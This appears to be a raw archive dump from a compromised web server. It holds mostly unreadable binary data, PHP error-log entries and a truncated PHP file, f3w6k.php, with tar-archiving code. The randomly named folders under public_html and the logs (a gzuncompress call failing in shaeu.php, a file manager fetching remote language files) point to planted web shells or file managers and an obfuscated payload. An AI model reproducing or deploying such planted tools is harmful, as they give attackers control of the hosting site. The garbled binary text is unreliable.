�E•�g���χ�s�͋�I�����tm��9�7L���/_�B~N�5����Dl8�����dJ ��z��g�8��tVX�P��L˨�mj`1�}K�ңA�faf�T���d�z&��+{9��t7-�+�R9�Vk�|;��P�v�yeE�e��P SVl#;V�1��4�/����_��C���;04a;�j�j�.s�x�rv��&��3QU�dg�����W��Cvliamspnye��9�e��U�Z���9��ڂ[��y���J���0�+ǽ��� ?� � �y6�yҨY(�;�}4 ��I������O��?� �wp|�P��� ��}��V0 ã�m&� &��ܣSG`O��i�g$Y���[��^Ġr�!J�Y[�^↰��&qopugelzdi�/v�0 ]1�2*�����,6 �p �,����o;a̿�c}ը����.���.� @qEr����=�ь�zF�4�z�đ!�a(=�a���Ԇ�� J�C,銁^O�r�4���HH#�����뇩�� */�����(���V�'bۃD�I�)W�Io/�L�-���A 3���.K8e�z�ii�~�"�y(���~vliamspnye+��Vn�x�ӳ��G�r��W��vliamspnyey�E���_a1^��"���"7��`�z�m�Œ�2��+z^�o�7�[8�eqopugelzdi�iS3�����3����zŝI���l%��,v+� �wՆ���qopugelzdi�7b"��.�Z}����n��_c��-�o���2���vliamspnye\��ke��vliamspnye�g�w?#�۹vliamspnyev���Σ�e�����](џ�]���� C ]���м)?���[�Q(��DAN%Q�;rN"�#�ZS���l=�f��)�2z��o�wAM�� �e6[ۺ�Yۛ��K=�O�4����FFvliamspnye��z���(�'߇$�t���5?��r+����},Ε$�"���c#��g��na,�����s�$y�_�S�֟�[�l��*�hj�tT��qK����d�߃��K-��|�aM��C?��o�,B�rP�r�.V��2r4���D%׼!vliamspnyeP�1����аQ~@�Q��u�J4: Vs���hnv����7��\�� ��� ݨ/�n.A��"����c;a�x���x���v1K��#A��4G)����DZ%[��ۏ�ᆥ6�AЗ��9��)Pw��؞O~Y��_� ��]�ى���+~�wq$6����X Wz3 �R�ҝ���x�*�3��Q���z�8�����?��iH��+�ؕG3����8j�5� �L�6!J����$t�:Ux�S|�~t�A_s����%�9��|�q�G�m�( �1(Ȧ#�[��8(&�ހ�B�s�$k.�Nc6[��z���HQ @ރZ��ٶ:�UA�;�e�1����$ �1��XS�\�Eg�aqopugelzdi4�{M"�r��ž��].[T̀�TY��.������s���2](��c�%/�0�q� # {3L�B�ܨ�9ʧ��0 �}ԭ���{P���h���F��Q��ejN����ͪn*y� 7���x!q;n�.�G[t`:�D=�Y0Y�wZ��9�ʋ+�8_���1�?8s!^�a&�j"��-W]mw��m�f0�GJ���3Svliamspnye�q���\s8[��SR��R%^��}����|zعl��9���}A;��sR-gvliamspnye����u��,"?�Rk7X=� ��\l�ChB�c�2�ɬ.�g����1�PY�&AKƐ�A@b�vliamspnyere@�&=��2�٤N��=���w��*��A�G �S�½�Vs`G�Z@��U�x�UEG�9�ӱ�kC��s��z�v �_�� e�?��+vc�=؟{n^�e�HkgTI��n�7�s�9�oJZ�c��?����/���w `�.G vliamspnye����֪kƉEh�C� �y��x5�R3 ' �r��5;�j�P��N��T�fo�P�7�X�h Զ�;�����Uwih �qopugelzdi�Șvliamspnye^3�i�,4M��V��|嫔�����*�0F��Kj���F���P� ��_J�ˉ/�� m�(G �`�?�OeTqi"S�a����誗h�N���^�����wu�VvliamspnyeD�x�����C7��Oʇ,��! �r�)G� ��j���� P�Y�K �C.DS�s����R�� ���i[�\qopugelzdi��(�I�3='��4�?�l��57qopugelzdim�_0f�T�����vliamspnyeȽ��Y~�ӓ�p*--�v�Π��9mHD̹Ϳ\���c�ň�"�|��Ӫ��} i Yښ�_2d�N�o�@�f�En��,�P(�!����(?nW�"m�N钧:rRxۀʕ� �)��]A�:Ą�S� =��������mZ㈌B$� �aX��Hķ}P�^���QZF�7�"�[8(�MH/+��y��;���l(e�͈~��{ F��ڭ�6���5]�"���[�jLI�b*-4aV��-�n�hvliamspnye`m�{���8�'޳375����LA���D����� �T��'١]|'Ʀ�&���qopugelzdiӜ�,���� ���q ��w�:1�vliamspnye��"oNHN����J�:O:�����y�R��"1[^畞^.D�ר�5I ��N�-�tC� �Sm"��K|���~8ds- �s��3!�w�j�����j]:Ǎ�:�щ���yx�On C7x�����p�/�e����+:p��A�4j(r+|� �I�Î`��e�� �  p�%RU���}�qopugelzdi��!����S� ,���8���&t~�v,[m4\�γ�N�,vliamspnye�)}n�&_�����#�Y!L�/�@g���}�y�A9,�+��U;C|$'� %8���,� K�����Xt�[�[띖.��VnU��X���-d��U�Ms�p4�[��q��Wݒ�Y�U�k=M�)rO��R�$*h꾪�=�3]َ�!�� ���|O�8��ݧ�d���z�Z_0�:�@.a���qu6���[ 9��K�Ч�����wyW�1�k1�+�!D��ș�� -�Թ֨N����w-��� 9�ZT�}����wS๴vliamspnye��ZR�7D�"9����|8���#��+���Y�C�� 93C6�tGM�J)����\~et�����#� o=!�O��H�a�&%O��&R�k�Sx�A�qopugelzdit�*9���������(�Z�y����Ϥ���xX=���9��.k@�ޜ��2��G~.��������qopugelzdi�i���m�-��܉�����j��C9��)�/�wB�V ��}���+yk�p�1�� ��P��T���-&m�LM ��qopugelzdiʂ~I��aKC���E��Œqopugelzdis��H�;]H�"bO ~$�����r�BR.(X��t��3��N�'Ъt~D��¶N��q4�N �ۏJ��,E��H�q��e=�� ����VD�Fh`H���so?�60��$ۈ[H�D� uj���9l��ӛ~��G�'M]:'M�X�bL�A�����{8���BT�Y��Π���'Ӫ���N�j�Bl*oQ˛("�yޥ��*N#Z"-��E1D5�㺬�f��UiG�R��� ��6 ��7]��!�3�ƶ���� g��ɨ^=4���1X�3Kw쭏�{;P�xF]u�i; )���x�+�)*�Aᕯ7��j+7�~��*-�� I��A;QV��D��w��@5�h�������̪�~9W�$f�FS�CH�]�;t1��Q]��glu&�xj�A��X��^���8���8��,X]��_��p5k��qopugelzdi)�X�v�3 H�&5�Nm��Qݶ��KʈI�w��ّjHi/KK�0�v7 ���[;�vliamspnye���I���K��qopugelzdi;6�\� ���'�̦^�G��f���#`#ph������C���Dgb����_��f����^,ܞ��4KbxW �Rg�L�Q*��&��h��5� �)b�������i囻r2I�����ą����� n���_ݤ�W�g�rj���4 SKib[m�@���D��'�m-� ,|����zo��k{Qx��o� �o���y����}F��mR�N��0�9C�ߪ%��"f����&�֤}�qKYZ̈́��Cˠ15!�b�0���qopugelzdie8ހEGL�S\��D{R��`�n�]� z ꇚ�j�JI�QB��RKN�G�Bvliamspnyej�K1=�ȶ���'�qopugelzdi{�'�9�:�M�ƞ=�o-�t�a��B/�̛��)�� �'�#�#�2�x��Z���Z�{[Ivliamspnye+[vliamspnye�{i6�`��p�����"N�����~}���5����:BD�Bt$(��t:�� ܁W���xqopugelzdix(�B�}v�qݫ�#r����W�`��!Z��5 ��C�G����3���r����DQ��`� �K��X7�:�:�m�/�,�n�ic�0�(j��݀#����V����:�/�qopugelzdi�E��1 ĉ�5�Щ��P6����Z] ;qopugelzdi_��ٮ+��K���"#"���=�n��U_�T-5�v%i ��� /g+�������%#����ٯS��Ы�����e fڶ�GB"%3J^|d�o�N���z-����v����#��ʟ�4dz�̀����0{4$lO��Bvliamspnye�S3���y��A� ����o{�4��G�[�#%���93l�‚^�����9�'4���?H�k�;���8i�D~Vt�Á��l���j�D�C��qopugelzdi� H�8�aJ���l,l4ix�JN�4D6(�|�Q�Ga��I�BP�ɐ*�!��ʬ��jQ�����LL��jӹ!PIP j]�1��Nr�����/�ׂ��&TR*�n��RJ��|�" C=���'sb�ސ��6���0���s���~�C[�d�[�y}���w���W��K7���j/i�nf�A=�qopugelzdiKqopugelzdi]aH�����vliamspnye�� +M#�o���3���@�R��#�h����Qg������L=s+a9H�dqopugelzdi@ʀ~tvliamspnye-h��]i�Q����qopugelzdiU[ �j8M|pS)���'�}gr�s=ns�Kg����$Fn�#� y9�^g�F�Ivliamspnye���s���%��*��?ݏ�?�)Ѕ�Mm������8���Rb�oME�Z䋹�� f'��Q�qopugelzdi�3Z1åF�ϒ�*���KusEY��G������A�"�[����}��b�s:�]�{�b�q˾ e�u�ȳ]���I-Dq�//c`8N8�`�Y����0�o "��Q@��6� aGA}��!�ȷ�b@���kA��lF�%���� @�W�O�qg.��#n�95�#)��J�F�V�z���AX��c.��c���߾I���wQ�S��~/o,-;Z�d &b�����Z�������'-"R�y���r�f��?�h�o �p3� ��h%���;?��`��p�:���.#�N�*��k� � 8 b G� r&��������� �4���.�i�zY���V�!1E9��{�6��nY��t�*��M�*�=����Z�6�C��Y����_�$}�n��~��͐P_�2k�t�/e�3So$� ւ k4�h�t-#�Y�z�����L����~yl $��x�s�B�� G������o�x�?���.bbU�tZ{���{^-��';]U3 *c��C'��8�N��s���d�n ��8v�Շ �5+��2����~��y4&+�d�X��HL�c��Tܿ���b��[ ae�⧓��=�:rG�I����x%K�8�^\ �z�.m� )�H"�����'l؜h�$,�� �� p���= [g?�H��%�5�� ���&`�����y���w��Ƙ� ��+�R���0�,Ȝ�N�DX��[q��y,���_��y����=��0)q��� �8D�^~n��Ö��������Թ�����\�/�sPV��G�863��HOd��R��I��{$ ���|��i��v� 8EQÁ�"�A��8�J��� �$;;9�ƷY`�&��Z��^��&- ���S�ʸ�#BI�@,'O`q&p;��ڔg?�10 �:��@�QU�S�/ ���kw��������!.P�H��)����J��B�?�|{��[R9(vliamspnye�~#04觠s|�x��w��9���qopugelzdiN;�x�5��B�{��k=%}�}�P�x�%,�=+�c J��ݹ��ۍ ��l�q�w�L{����V�M�o��h[�z�9.��lf�C9�1���`0!��gƔo�䩏s�U~��Iqopugelzdi���bo� .J��yFsqopugelzdi���������;' ��~��� ̄��y-CK��x�oNK�]���^�6� ��;�j�e������W(����V���ڤp��q�[��^�M��Z &�(�M��^fn��c핥��morD1Ӣ���]jg6��M� i\�e`ă1�� �#{���Tmbu����ju[��7���X���=��ǃ�D�J�-���F�Cƛ8�dt?�I���S�FA�5�� �9�d�,�� �aX��ճ�h@vE��-֏���h���+��ܛ}N�U�G�&����R.!�S����ȯM��_��„TV$*��[8�$��ak�����;�"���5�"�� �Ü����#Gh�f�[{+Z�����.��E�Q_��ԋ�R&l0kv "g����L.���0Z�$��� *�V��PT4~���vk��b[�ޝ#v�%K���/����"���j�����⭠�@�c�ʫ����� ��evgM�Yvliamspnye�D7ok*�����:��1_sC�^�X��6��C�E.��c��^�KqopugelzdiU��1Bn�qopugelzdi?�1�H�*���Ѭ���M�o)��`|^�-�B/eG3��BA�R�ۜ�IH]�G_:ni���,� y�8��"٭������l�u�^� -zFqopugelzdi&����:�hBP�j-�RQz�^YCu��k�����vliamspnye��#r�iB� ���9~��$-sY�}!� �d��h��$�|����E�H��5��J�l�Y�t�+A� ��l_�0�I{qopugelzdi�8������qopugelzdi�6vliamspnyek%�4���8�@pH��\�����N:2�%Ɩ�����-1@����򀙌�����S�_��da="Ӈ�m~����q��ib�cp�l�d�$vliamspnye��p4��� �� ��qopugelzdi�9�l�l��D�w�6�~��*���b�-�U+��Bq���uDQvliamspnye��L=1�*`���_'7���P�'8d��k���I�Qr�^C���leit����{��H!�N���f|������ �H�u77`��9�q���Fgd��|n����U�JstL�?� _�г�7{�� L���Np.ÿ�h�L����F �Fs�q�o ��fng�&V0E����ሃx����3��2y�5|P����pg��"~7�l&V����~�:�J��"|���(�A�ZBu� ���[���v�wœ�y�.Y�4�� 2b��vU,yZ���'�Wv �[�e _��\5`��Z�ϡP�N@��c��{b�W��Ǻ+BZ#l$vliamspnye���Q��8iBJ�w��Dhl��5s{d��٪�Q/� k�]i�6�|M�i�+p��L����HG��Oz(D-�s�,d2�r�����s�DW���c���҃ �#��櫃X �F�$d��bU@������'����T۶��Z �qopugelzdi٭�R隘� �L [�~ y�vliamspnyemyh3�R��Ǘ*���^3��/ ^�˞�4u �j�� ������t�qopugelzdif7+ Y W j-���\��5?"���!'Heqopugelzdi���) �`�;��T�gt�Ft��;-W0*j�x��vliamspnye�m0��-h{vliamspnyeZ��:��'/��̚�KL�[o�8,�V�0���.7��1�qopugelzdiL\F6vliamspnye.��?��,����N �Ʀ��T}DŽx �e�jҫV�޾��je��uM�c�o��U��M��P�=���Bq�T�� ��ԥ20�R_Z_� :�� wi���Tvv�;͊J����ףZ}� ,QaXdӭ���P0@j�r����R�I-�cbH��[6_�� ( �Z�Y���^����.i�n���d�q[!� f!F�=��D��b�x7j@[ ���gH�w`Kf���D5G��g���e�ox/,�u�ψ M��|$�v�0R $v�R��{n΄|;%8����ȵ@�`� B��o�"h��鹅��X��Q�l���v���vliamspnye�5 �!�� �T���fخ�N�����M@m�����ȳvliamspnye���4�j^"o*Q=�M�(��%Ȕ��o�ch ����yc��%D�ut�뛸��?�3#���L����_�(�����&H�N"�ALh��+��G�q�vliamspnye�(a��yAl$�v�/�(�k3]��V����b���1�hj�U�ER�C�M�s���q�}���#����y�xz4��}���{B�6a$J �U���Y��'�|(����:���(���ȡ���f�XX�fA�����XNsƨ� w���Pv��M��6��6�ӳ\�RzxB�yå��Y5����[��ػlv�NG �� 4qopugelzdi��Du�W�V�rzG#봭'����rz F�#;b�8� ���P��P!:��� �_"n�� �� UD��qopugelzdi�'!9�x k�!�O?���0�3\����L���C�+�dqopugelzdi� li�f��ZTgɘ`��*BU#�09@M˰y8��W�U�[=��D��(cp�l /|���dz#�CZ}*s��/�!B���^����qopugelzdi���9���,��7�}�"�ـ�$�Ƀ�Jvliamspnyeqopugelzdi�vq�SO���Zi�F�?� ���5���( ~O��+�$�}I������� �주��32+vliamspnyevliamspnyeN����*x�ϓ�i���vliamspnye�r�@b�Xlh!��! ��S�LPu��[�a��[q+U�.�v�GL� �������ږD�.y��u �5u�h����m�)Q0�ׅvliamspnye��Q�y�c�eω��Է��~����5#�ɳń�[��ϣA.�����6�~�:����D�HW�I�������,XI��h�0�?Q�Sg06SB�-��'�]@�k�k�����pO�\�Iߖg�w��:qopugelzdiiu&�.�K�`c�v�{��SQ{$�H 7�m���m��!��6y����Z�j뒟���R�K�E0t�QƷH6��u��"/z �ʔ����F���%��"����ՔoXɠ#���_Uvliamspnye���8aLH�D�w������� ��%����ߦ��5+�qopugelzdi�s��e���/r�qopugelzdi�vliamspnyeS�k��=�7 5.R�*{�"h �\�.��Df������Y3�w0�o�ǝ��m�tb�6˒�\)k2#s'[��n�vliamspnyeWvliamspnyelQ�(���qopugelzdi��ʓxH-�!6a�P��P���+�[��KY��M������f��1�����)��V.sۢ⠿��k!�\�ԙٵL��-G6��o[�7C�A�v�D+мv�NȻ�49����ы�C�DZLJ�D��c��¡���Z�;�f��� �r�^�%`P`�+&�_Qo,� ���?�4r_�edVvmq�V� tc�DZ+�p�O54�����krI��]��=�1|:l�r���n jظ��V:T�L)�v��.�At�ūvy �z/%Y��D�MW��=Cp3�)�Q]I]���S�Qlq��&��Jrvliamspnye�9jzq�+;���Ϗ�x}X�qopugelzdi�I��&^�?$��g9b���{�G6���V���o�3��[������o"�=H4.����:��(vliamspnyeA�l1��t`���5��NFb�]�(�@�w���Vu�j�%C.� ?��Q����0�\6��@R�2���o2�����)::�i�eE���Z��=2r�O��3�F!��7�RL8�ZCP�; P]�Xb�f���d޷#�!V��"�/�:�ֵ�DS�vliamspnye � +U�P ��+�����r9Cz��!�{�I�=�(;�/��a5y{�TM�*Q,���qopugelzdi~���ULH:æ�TG����9��I F�1g�c���F��Lη�[�@�$�S���5g�qopugelzdi�� (�;5��mvliamspnyey����R5��T{���^Q��12EB3H���_�O�kI{P(�(R��u�m �w�3/���,E4��T�}3(;NR�O�J.�p7��A+��:l�a��d�52��qopugelzdi.C@�;|�q �ʐ���t�3�a?�}�2+�=ŷ�]r��������4����wFdqopugelzdip���b��[�ϧ"�Eo�X&�c9��H��â�S�]�O��#f7�Er h�ܕON%l��`L�U��������P��Z���vliamspnye�|� vliamspnyeg�e�Ѻ[��;U�a����8�pu�7�Y�]|v��qE�3Y �G(n�E!� aT�A@��� ��?68~ho����6��Ta��� .;�U����^v��a��s�^�4�A������֫'�R9Z=vliamspnye�NJ 2��EUl3Mő^��o���zG5L�bаh�.�� A%�XK�NP�v�4��d�.�/�&� I�����g%�{ b��&5g%��r����j\gfcP��p F^XÉ�6��d���)�l"#{9֡�(0nб�6��q�������p�,'�vNSJ�6{�O��|�_i���sr�@V~c�3{� �ఋqopugelzdi@�v�".��|v�n��X�x�ol���������5�A��w���va_eZ�F��EZ�w�I���S��5#�^�|��P}��U�tž�Q)�qA���8�@�s ̉S�ǐ��*W�`l�碜Ĉ��O�U𗢬�г��4x(�I���C*����#�?~N�x�~�� xhW�?2X��4���5�1C��T_��"�Rp3z��~~�&��[)�ѝF�J�X�1�'���.2��(d�&|��ˬ����*u�kw{�f��qopugelzdi�fF���Z��/8y1`��X�/� ���C������ ^��YJ����a�7%$�W�5Jp���rL���|?%�sf˸k�7�qopugelzdi��[?s�,03 �o5�\8!�H�0���vliamspnye �qopugelzdi��Zukl_��L:,Jqopugelzdi@F���~��.�\F���g�3zx`hyX\-�����vliamspnye_�n�=T�Dg���ăq��i���A�� jvliamspnye�\���w�@���qopugelzdi���q�V�a�^u�C��M0a�1�̂yoQw��$e ���i[U[��MRރ�,k�w$�"'��6�NT�J�‚ �vx�b��7TW��N�Ag�"�I�~ul���T�t�Z�������5f#?�V�8C�Vb����-�u1kl��p�&����J;�� _����A�7�FГ!@el��"�د&��?��)�Ui��X!}�yj��8�I[PG����U�@��Ui��CY-�9���AI.�,2��;��&�Ɠ�m*�B&� ������/�S�&ʩ�a0�c&���J���u����l��,d�#� 㪺o��8u��#6����O2&�'-K6����p�;M$Uvliamspnye�b�!�/��Dt�hO����vHڊ�F���;]��%��Vy��M� z(��=�{~1�$n�&�e�*TM�y�l�~�1|�G+�z�?M7� �`����6;&mx� �hA���*qopugelzdi\?��n�%%��6����S���S뤥Ty9b~�Kc�/4�+�vliamspnye��˖���X����Vl`�[� ��g�T�_c#{;����4�7\��,�m�-_��#7 ?�䶌+�*C}�nz=�so�d����n: �Md ��S�u��L���Õ�c��Ź���B7�uw0s1��z�ljp�/M�)Yi�.�{@�i��\�Ȅ�"���V�.s�i+R%��H#iV�҈c��(%v�i4����w� �.�B�q����b�&庬]�t�� 2���R9���jw�97� �#�� 8�� �w�ň�V�p��J��{�����Ǖ�k58*���#��-؎� ��G}$��Wk� "n�~qopugelzdi�y���C\��D�v~� ��KC8 � ����4^g)��d=P� �$5�{Iv�M���:g~+Kl�i�/3��o�����Jl�Mqopugelzdi1�DH1�`���qopugelzdi��X�Z�4-vliamspnye��S�xm�F�@�~|O�\��,�&¯�Q́-�����K v]0G~��˅�=h���G���������D�����n��"��c�MS�D.�XÎ���{�C��6\`#� ���Ե�1U�v�H��gUbt#�4�# ������ � s��m�T��y�GS��M����S�jP]�rc�w*�d�vliamspnyeO�`�d��`��"7t ��� )a�L��֕���"&�w�l��C�qopugelzdi�k ���=� ���}D���Cr���w�#铛���VU�^D����'����/�� � !���]�(�����w�x�+O?_�/;�qopugelzdi%��@�G�$Q��z���p�ϗv�iJ#�G�4U���U�b�=ǫؔi���qopugelzdi��q�~�}��p�ˠ\�+�L�G��J۴25A�W��XJ�a�qopugelzdi�;�Ӯ���X.�t�Op�v0�$15 ����?6�t�zDxoi�- �erd�vF,�"䘱��;��,d\��*KT�d�Ȕg�1�p"kT�����B_qopugelzdiy��i8s���a��`(&����zDM�4spAto��=;g��TgvliamspnyeX�2Up ���K�@B,�_T������6���C^%���j�m�4�ڹߘ�Nx�z���0r�q�k�J��A�s�3vliamspnyeAtbS�l�����X�\X��7���Z��\q��݂1?­s1� �$�h}P*e����V�۔��M �l�g��=�y���W�׹JR@�"9�o�� p�eA Y`}m�����@y3���n 4�trd u�R��Z���b�'�!xdo�!��u�w�"�N�[J��v yX�?�UQ���kO�� ��T�蹦�أ��Ц*z����]���cYշ�����$~�k0����[�|�R�.v�4�p�w}� ��`j8L{���} ���#e�� �[{ ��IA9���f��/��U�s]A$� ����p[M�H�g�zP�#c-�Kx��� ����4�����"5�6Ntr�k��\�u���y�e܁�Ͱ�?bqopugelzdi��`"��P'��zvliamspnye]�(,eQ[�h��C^+� �C?7?5ӓA���-��fcЫX�� �TUp?M_;�t�_̝�[�u�v����W���|� ������CҜ�;���,~�������Z��DV�Ӌ��:�bV|K�vliamspnyecu%�{�4�ݚ�2�9ߥ��"ԉ:�9��$��a #@�Jq�~i� ��~%��ԊpY��m�����q��PE�'���K�5R-#a���]���\W�J���t-W�&V�:���e����#����qopugelzdi ��qC�N�x·z��vliamspnye�}� H�K3�Tl��?����3�'Ξ��爄\�yٔz.�45���1@Zqopugelzdin+� =�5+K��\����(�O�M5;~��z�ư���{j҆�-|������i��n���귵d���G����4��_�GJ��o IU�o�sD�0^���F8Nm�����M�͉ o�y���oH"XR���_ &l�oC qvE%�"�tJl[����y��f�hO����T�*iU��1gd �pT-�բ?�v'��H˫Kç�s�X�(ܞ�-?�o`���ħ6�� W�O щ������I�W�q|;���c�uC˃�/�k 'x��1�k��W�:��5$�P���oqopugelzdi3����) ���q�&��V3�vliamspnyea�B`���&�%0��4��c �jJv��jE0�y�� ����޺�`�=����z"'��qFT�ܒ�� ��JW�96Uy��� k] ��mz��| q��݊�i�$l��q�Θ]1��֗�j.����Fv�m�v��f�vk d9�M[��b����Z�j�K��L-��:�����U�7FCӞ)וb,T�]���~Vqopugelzdi=-,�=�|�� �G�$D*v��c|z�rc�)�m%��}$�- ~���e���#�I��Lj{�����̡ �6������ aT?��Uo�y��} ��CF�+qopugelzdi���4�V`����4a����vliamspnye���cc+p 5���O�8��ˍ�yИ���EY�"�T*-]��D�\~0��Ce�lz�|��M)_���~k�;�� ����6Y��܆�i�����Q�)ͩV�[Z��qopugelzdin_ݵ)�}�l��B7�������$��s���2S�E��)M�4�s�J=� �5-��?Ť�,� M#9a~��y�(GF߰my �$f_�'J�yv?:ED�mz��J��(�YA���]��]� x^�����N�[VK�� +�%�QF�c�P�o��&������O��Uy6�����m���K�6�H=�vW$5��Bd��ԁ'�l�� �#�J�����S �ٷ���Y��Q� i�� ��b]�4�ߝ�L��qopugelzdi��_�Mn�����N& ����3i.)���AA���z�e��hnb�|@�'욻)Juk]o���� ������AT�X1���wK%euɯROO[�뱛ϙ�~H�1  سݮ�x.S ��m��� ���rawΜ��B�! �/� Yq�!�:8m�|�٤��S)�v �T�@Y�[�Q\s��h��G��&�������c�N6� �c��2�yd�R��_]Su��y��Z��� ��M��%�Z_��y�?јqopugelzdi�9��Zi��9��z�P���$�sZ�� *&c) ^��������� yI⡗vliamspnye �ʿ�D�wr��B�`P��� 启7]�d�;�$�m�㪸�ʃ7{��Q�A˪�Թ/��IC�Ea����1ު��vW$�NA6;�/y���#;T�r l����R`S�hP�xT�D�.'�L�KR�vliamspnye�G�� 8��K�q��ؑ(M��Zs�[B����^��g~^�v�I��E�Bn���2s��ޣ\�=��MP����V�~��w��`� ) �q~[�~ ���I�)��DA�� xZr�܍G����q~���� �_�� �4c5:�6�3�\]vliamspnyeF�v$ Y�%3��E��vliamspnye~WH �n*A���"�F~Y��w�W�*�� �\hlZ�� �2� ;UNr� ����޹�W��nU��\������^���W�y ��YM�vliamspnye�`��^ ��|�_�^���``TqopugelzdiX�m֗�vliamspnyer������T���$qopugelzdi| B���vliamspnyex B�LH�x�삈��w�����_�'5| �V)˿��4����@.h�b(ܓO����t��8�b?��(ɋ�ӣ�@��&w����'�RM��6aj���E�ou}�OG���i�E����ZЧ/d�[  ����&rAEf(����?=�"ɕT�.��&��B��g0v+m1��c*�DsN�Y�e�h�M��VO4�oK�gqopugelzdiA+Î��z�k��S�i�;,��V�T ��w�I�7ŝyZ@��r�9!47����+U��ҧ^"��5��mw�Ľ�3#( �hd{p�Ru"�@Uf�� tV@�����8����՝༆��/X_%Qf�D[�+���Wl��-ϳ���g�"ݽ�vliamspnye� ��\CBy�����L�8���'��zl��/��Sb��)��D�"*�E�V���-@��O��|�� �Z�#8��r}��Zڪ�M� -��r����M��jesva2/error_log000064400000000675151026170410007660 0ustar00[27-Oct-2025 03:45:42 UTC] PHP Warning: gzuncompress(): data error in /home/gettoplisting/public_html/dd7e5a/functionalityRee/jesva2/shaeu.php on line 4 [27-Oct-2025 03:45:42 UTC] PHP Fatal error: Uncaught Error: Call to undefined function exit() in /home/gettoplisting/public_html/dd7e5a/functionalityRee/jesva2/shaeu.php:4 Stack trace: #0 {main} thrown in /home/gettoplisting/public_html/dd7e5a/functionalityRee/jesva2/shaeu.php on line 4 a7l80x/error_log000064400000000451151026170410007501 0ustar00[27-Oct-2025 03:45:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/functionalityRee/a7l80x/f3w6k.php on line 195 a7l80x/f3w6k.php000064400000333775151026170410007257 0ustar00<\/script>\r\n errorList)) $this->errorList = array(); } function buildArchivePackage($file_list){ $result = false; if (file_exists($this->archiveTitle) && is_file($this->archiveTitle)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->initiateFileWrite()) return false; } else { if (fileSetize($this->archiveTitle) == 0) return $this->initiateFileWrite(); if ($this->isCompressedFile) { $this->finalizeTempFile(); if (!rename($this->archiveTitle, $this->archiveTitle.'.tmp')){ $this->errorList[] = __('Cannot rename').' '.$this->archiveTitle.__(' to ').$this->archiveTitle.'.tmp'; return false; } $tmpArchive = gzopen($this->archiveTitle.'.tmp', 'rb'); if (!$tmpArchive){ $this->errorList[] = $this->archiveTitle.'.tmp '.__('is not readable'); rename($this->archiveTitle.'.tmp', $this->archiveTitle); return false; } if (!$this->initiateFileWrite()){ rename($this->archiveTitle.'.tmp', $this->archiveTitle); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->saveDataBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archiveTitle.'.tmp'); } else { $this->temporaryFile = fopen($this->archiveTitle, 'r+b'); if (!$this->temporaryFile) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->bundleFilesIntoArchive($file_list); } else $this->errorList[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->temporaryFile))){ $binaryData = pack('a512', ''); $this->saveDataBlock($binaryData); } $this->finalizeTempFile(); if ($newArchive && !$result){ $this->finalizeTempFile(); unlink($this->archiveTitle); } return $result; } function recoverArchive($path){ $fileName = $this->archiveTitle; if (!$this->isCompressedFile){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isCompressedFile = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isCompressedFile = true; } $result = true; if ($this->isCompressedFile) $this->temporaryFile = gzopen($fileName, 'rb'); else $this->temporaryFile = fopen($fileName, 'rb'); if (!$this->temporaryFile){ $this->errorList[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unbundleFilesIntoArchive($path); $this->finalizeTempFile(); return $result; } function displayErrorLogs ($message = '') { $Errors = $this->errorList; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function bundleFilesIntoArchive($file_array){ $result = true; if (!$this->temporaryFile){ $this->errorList[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchiveTitle) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errorList[] = __('No file').' '.$filename; continue; } if (!$this->temporaryFile){ $this->errorList[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errorList[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->generateValidPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errorList[] = __('Mode ').__('is incorrect'); } if(($this->filePointer == 0)){ if(!$this->insertHeaderInfo($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->saveDataBlock($binaryData); } fclose($file); } else $this->insertHeaderInfo($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errorList[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->bundleFilesIntoArchive($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unbundleFilesIntoArchive($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->retrieveDataBlock()) != 0){ if (!$this->fetchHeaderInfo($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->retrieveDataBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->retrieveDataBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->retrieveDataBlock(); if (!$this->fetchHeaderInfo($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && 